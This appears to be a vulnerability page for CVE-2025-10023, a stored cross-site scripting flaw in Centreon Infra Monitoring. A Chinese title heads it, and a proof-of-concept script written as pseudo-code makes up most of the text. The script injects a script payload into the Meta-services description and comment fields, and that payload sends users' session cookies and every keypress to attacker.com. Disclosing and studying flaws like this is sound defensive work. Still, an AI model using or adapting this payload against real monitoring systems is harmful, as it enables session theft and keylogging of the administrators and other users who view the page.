CVE-2025-10023 Centreon Infra Monitoring 存储型XSS漏洞

// CVE-2025-10023 Stored XSS PoC // Target: Centreon Infra Monitoring < 24.10.9, < 24.04.16, < 23.10.26 // Attack Vector: Inject malicious JavaScript through Services Meta-services module // Step 1: Authenticate as high-privilege user const session = authenticate('admin_user', 'password'); // Step 2: Navigate to Services Meta-services module goto('/centreon/main.php?p=60901'); // Step 3: Inject stored XSS payload in vulnerable field // Common vulnerable fields: service description, comment, notes const xssPayload = '<script>\n // Steal session cookies fetch("https://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie)); // Or perform keylogging document.addEventListener("keypress", function(e) { fetch("https://attacker.com/log?key=" + e.key); }); </script>'; // Fill in the vulnerable input field fillInput('meta_service_description', xssPayload); fillInput('meta_service_comment', xssPayload); // Step 4: Submit the form click('submit_button'); // Step 5: When other users view the affected page, the XSS will execute // The malicious script runs in their browser context // Cleanup: Remove the injected payload after demonstration // deleteMetaService(meta_service_id);